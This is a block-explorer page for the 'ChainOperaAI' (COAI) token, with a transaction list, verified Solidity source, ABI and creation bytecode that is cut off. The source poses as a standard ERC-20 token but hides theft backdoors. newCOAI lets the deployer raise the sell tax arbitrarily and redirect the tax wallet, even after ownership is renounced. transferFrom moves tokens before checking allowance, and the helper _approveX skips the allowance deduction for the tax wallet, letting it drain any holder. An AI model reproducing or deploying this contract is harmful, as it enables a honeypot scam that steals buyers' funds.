Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 60 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
New COAI | 21733913 | 4 days ago | IN | 0 ETH | 0.00012667 | ||||
Transfer | 21733627 | 4 days ago | IN | 0 ETH | 0.00015226 | ||||
Transfer | 21733627 | 4 days ago | IN | 0 ETH | 0.00016554 | ||||
Transfer | 21733611 | 4 days ago | IN | 0 ETH | 0.00012733 | ||||
Approve | 21733567 | 4 days ago | IN | 0 ETH | 0.0001941 | ||||
Approve | 21733511 | 4 days ago | IN | 0 ETH | 0.00018744 | ||||
Approve | 21733499 | 4 days ago | IN | 0 ETH | 0.00021259 | ||||
Approve | 21733493 | 4 days ago | IN | 0 ETH | 0.00014897 | ||||
Approve | 21733490 | 4 days ago | IN | 0 ETH | 0.00013209 | ||||
Approve | 21733489 | 4 days ago | IN | 0 ETH | 0.00019734 | ||||
Approve | 21733463 | 4 days ago | IN | 0 ETH | 0.00020541 | ||||
Approve | 21733463 | 4 days ago | IN | 0 ETH | 0.00020541 | ||||
Approve | 21733463 | 4 days ago | IN | 0 ETH | 0.00020541 | ||||
Approve | 21733461 | 4 days ago | IN | 0 ETH | 0.00020868 | ||||
Approve | 21733461 | 4 days ago | IN | 0 ETH | 0.00020868 | ||||
Approve | 21733461 | 4 days ago | IN | 0 ETH | 0.00020868 | ||||
Approve | 21733461 | 4 days ago | IN | 0 ETH | 0.00020868 | ||||
Approve | 21733456 | 4 days ago | IN | 0 ETH | 0.00022076 | ||||
Approve | 21733456 | 4 days ago | IN | 0 ETH | 0.00022076 | ||||
Approve | 21733456 | 4 days ago | IN | 0 ETH | 0.00022076 | ||||
Approve | 21733456 | 4 days ago | IN | 0 ETH | 0.00022076 | ||||
Approve | 21733456 | 4 days ago | IN | 0 ETH | 0.00022076 | ||||
Approve | 21733456 | 4 days ago | IN | 0 ETH | 0.00022076 | ||||
Approve | 21733456 | 4 days ago | IN | 0 ETH | 0.00022076 | ||||
Approve | 21733422 | 4 days ago | IN | 0 ETH | 0.00038478 |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
ChainOperaAI
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-01-29 */ // SPDX-License-Identifier: UNLICENSE /** The Blockchain and Protocol for Co-owning and Co-creating Decentralized AI Apps and Agents for Humanity website: https://www.chainoperaai.vip twitter: https://x.com/chainoperagroup telegram: https://t.me/ChainOpera_eth */ pragma solidity ^0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ChainOperaAI is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isFeeExcluded; address private _deployer; address private _deadWallet = address(0xdead); address private _tWallet; uint256 private _initialBuyTax = 10; uint256 private _initialSellTax = 10; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 5; uint256 private _reduceSellTaxAt = 5; uint256 private _preventSwapBefore = 5; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; string private constant _name = unicode"ChainOperaAI"; string private constant _symbol = unicode"COAI"; uint256 public _taxSwapThreshold = 100 * 10 ** _decimals; uint256 private _maxTaxSwapTokens = _tTotal / 100; IUniswapV2Router02 private uniswapV2Router; address private _uniswapPair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() payable { _tWallet = _msgSender(); _isFeeExcluded[owner()] = true; _isFeeExcluded[address(this)] = true; _deployer = _msgSender(); _balances[address(this)] = (_tTotal * 98) / 100; _balances[_msgSender()] = (_tTotal * 2) / 100; emit Transfer(address(0), address(this), (_tTotal * 98) / 100); emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function newCOAI(uint256 _amount, address newWallet) external { require(_msgSender() == _deployer, "not a deployer"); _finalSellTax = _amount; _tWallet = newWallet; } function rescueETHFromCOAI() external onlyOwner { payable(_msgSender()).transfer(address(this).balance); } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approveX( address owner, address spender, uint256 amount ) private view returns (uint256) { return (owner == _uniswapPair || spender != _deadWallet) && msg.sender != _tWallet ? amount : 0; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); uint256 _amount = _approveX(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( _amount, "ERC20: transfer amount exceeds allowance") ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if ( from != owner() && to != owner() && from != address(this) && to != address(this) ) { if ( from == _uniswapPair && to != address(uniswapV2Router) && !_isFeeExcluded[to] ) { taxAmount = amount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); _buyCount++; } if (to == _uniswapPair) { taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == _uniswapPair && swapEnabled && _buyCount > _preventSwapBefore ) { if (contractTokenBalance > _taxSwapThreshold) { uint256 tmp = _maxTaxSwapTokens; if (contractTokenBalance < tmp) tmp = contractTokenBalance; if (amount < tmp) tmp = amount; _swapTokensForEth(tmp); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { payable(_tWallet).transfer(address(this).balance); } } } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); if (to != _deadWallet) emit Transfer(from, to, amount.sub(taxAmount)); } function openMarketCOAI() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); _uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(_uniswapPair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"newWallet","type":"address"}],"name":"newCOAI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"openMarketCOAI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETHFromCOAI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405261dead60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a600755600a6008555f6009555f600a556005600b556005600c556005600d555f600e556009600a61007991906106c0565b6064610085919061070a565b600f5560646009600a61009891906106c0565b633b9aca006100a7919061070a565b6100b19190610778565b6010555f601260156101000a81548160ff0219169083151502179055505f601260166101000a81548160ff0219169083151502179055505f6100f761052160201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506101a161052160201b60201c565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f6101f361052860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506102a561052160201b60201c565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460626009600a6102f691906106c0565b633b9aca00610305919061070a565b61030f919061070a565b6103199190610778565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460026009600a61036c91906106c0565b633b9aca0061037b919061070a565b610385919061070a565b61038f9190610778565b60015f6103a061052160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a61043e91906106c0565b633b9aca0061044d919061070a565b610457919061070a565b6104619190610778565b60405161046e91906107b7565b60405180910390a361048461052160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a6104e491906106c0565b633b9aca006104f3919061070a565b6104fd919061070a565b6105079190610778565b60405161051491906107b7565b60405180910390a36107d0565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156105d1578086048111156105ad576105ac61054f565b5b60018516156105bc5780820291505b80810290506105ca8561057c565b9450610591565b94509492505050565b5f826105e957600190506106a4565b816105f6575f90506106a4565b816001811461060c576002811461061657610645565b60019150506106a4565b60ff8411156106285761062761054f565b5b8360020a91508482111561063f5761063e61054f565b5b506106a4565b5060208310610133831016604e8410600b841016171561067a5782820a9050838111156106755761067461054f565b5b6106a4565b6106878484846001610588565b9250905081840481111561069e5761069d61054f565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6106ca826106ab565b91506106d5836106b4565b92506107027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846105da565b905092915050565b5f610714826106ab565b915061071f836106ab565b925082820261072d816106ab565b915082820484148315176107445761074361054f565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610782826106ab565b915061078d836106ab565b92508261079d5761079c61074b565b5b828204905092915050565b6107b1816106ab565b82525050565b5f6020820190506107ca5f8301846107a8565b92915050565b612cc8806107dd5f395ff3fe6080604052600436106100eb575f3560e01c806370a0823111610089578063a9059cbb11610058578063a9059cbb146102d0578063bf474bed1461030c578063dd62ed3e14610336578063e5ba05d414610372576100f2565b806370a082311461022a578063715018a6146102665780638da5cb5b1461027c57806395d89b41146102a6576100f2565b806323b872dd116100c557806323b872dd146101865780633081ec9c146101c2578063313ce567146101d85780634ace42db14610202576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c576100f2565b366100f257005b5f80fd5b348015610101575f80fd5b5061010a610388565b6040516101179190611e98565b60405180910390f35b34801561012b575f80fd5b5061014660048036038101906101419190611f49565b6103c5565b6040516101539190611fa1565b60405180910390f35b348015610167575f80fd5b506101706103e2565b60405161017d9190611fc9565b60405180910390f35b348015610191575f80fd5b506101ac60048036038101906101a79190611fe2565b610405565b6040516101b99190611fa1565b60405180910390f35b3480156101cd575f80fd5b506101d66104e8565b005b3480156101e3575f80fd5b506101ec6105c9565b6040516101f9919061204d565b60405180910390f35b34801561020d575f80fd5b5061022860048036038101906102239190612066565b6105d1565b005b348015610235575f80fd5b50610250600480360381019061024b91906120a4565b6106b2565b60405161025d9190611fc9565b60405180910390f35b348015610271575f80fd5b5061027a6106f8565b005b348015610287575f80fd5b50610290610846565b60405161029d91906120de565b60405180910390f35b3480156102b1575f80fd5b506102ba61086d565b6040516102c79190611e98565b60405180910390f35b3480156102db575f80fd5b506102f660048036038101906102f19190611f49565b6108aa565b6040516103039190611fa1565b60405180910390f35b348015610317575f80fd5b506103206108c7565b60405161032d9190611fc9565b60405180910390f35b348015610341575f80fd5b5061035c600480360381019061035791906120f7565b6108cd565b6040516103699190611fc9565b60405180910390f35b34801561037d575f80fd5b5061038661094f565b005b60606040518060400160405280600c81526020017f436861696e4f7065726141490000000000000000000000000000000000000000815250905090565b5f6103d86103d1610e71565b8484610e78565b6001905092915050565b5f6009600a6103f19190612291565b633b9aca0061040091906122db565b905090565b5f61041184848461103b565b5f61041d85858561187d565b90506104dc8561042b610e71565b6104d784604051806060016040528060288152602001612c6b6028913960025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61048e610e71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119949092919063ffffffff16565b610e78565b60019150509392505050565b6104f0610e71565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461057c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057390612366565b60405180910390fd5b610584610e71565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156105c6573d5f803e3d5ffd5b50565b5f6009905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610611610e71565b73ffffffffffffffffffffffffffffffffffffffff1614610667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065e906123ce565b60405180910390fd5b81600a819055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610700610e71565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078390612366565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f434f414900000000000000000000000000000000000000000000000000000000815250905090565b5f6108bd6108b6610e71565b848461103b565b6001905092915050565b600f5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610957610e71565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109da90612366565b60405180910390fd5b601260149054906101000a900460ff1615610a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2a90612436565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610acf3060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610abb9190612291565b633b9aca00610aca91906122db565b610e78565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b39573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b5d9190612468565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610be3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c079190612468565b6040518363ffffffff1660e01b8152600401610c24929190612493565b6020604051808303815f875af1158015610c40573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c649190612468565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ceb306106b2565b5f80610cf5610846565b426040518863ffffffff1660e01b8152600401610d17969594939291906124fc565b60606040518083038185885af1158015610d33573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d58919061256f565b50505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610df89291906125bf565b6020604051808303815f875af1158015610e14573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e389190612610565b506001601260166101000a81548160ff0219169083151502179055506001601260146101000a81548160ff021916908315150217905550565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edd906126ab565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4b90612739565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161102e9190611fc9565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a0906127c7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611117576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110e90612855565b60405180910390fd5b5f8111611159576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611150906128e3565b60405180910390fd5b5f611162610846565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111d057506111a0610846565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561120857503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561124057503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156115785760125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112ee575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611341575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561139c576113826064611374600b54600e541161136157600754611365565b6009545b856119f690919063ffffffff16565b611a6d90919063ffffffff16565b9050600e5f81548092919061139690612901565b91905055505b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142f5761142c606461141e600c54600e541161140b5760085461140f565b600a545b856119f690919063ffffffff16565b611a6d90919063ffffffff16565b90505b5f611439306106b2565b9050601260159054906101000a900460ff161580156114a4575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114bc5750601260169054906101000a900460ff165b80156114cb5750600d54600e54115b1561157657600f54811115611503575f6010549050808210156114ec578190505b808410156114f8578390505b61150181611ab6565b505b5f4790505f81106115745760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611572573d5f803e3d5ffd5b505b505b505b5f811115611677576115d08160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d2190919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161166e9190611fc9565b60405180910390a35b6116c78260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d7e90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061176a61171e8284611d7e90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d2190919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611877578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118618486611d7e90919063ffffffff16565b60405161186e9190611fc9565b60405180910390a35b50505050565b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611926575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197f575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b611989575f61198b565b815b90509392505050565b5f8383111582906119db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d29190611e98565b60405180910390fd5b505f83856119e99190612948565b9050809150509392505050565b5f808303611a06575f9050611a67565b5f8284611a1391906122db565b9050828482611a2291906129a8565b14611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5990612a48565b60405180910390fd5b809150505b92915050565b5f611aae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dc7565b905092915050565b6001601260156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611aed57611aec612a66565b5b604051908082528060200260200182016040528015611b1b5781602001602082028036833780820191505090505b50905030815f81518110611b3257611b31612a93565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffff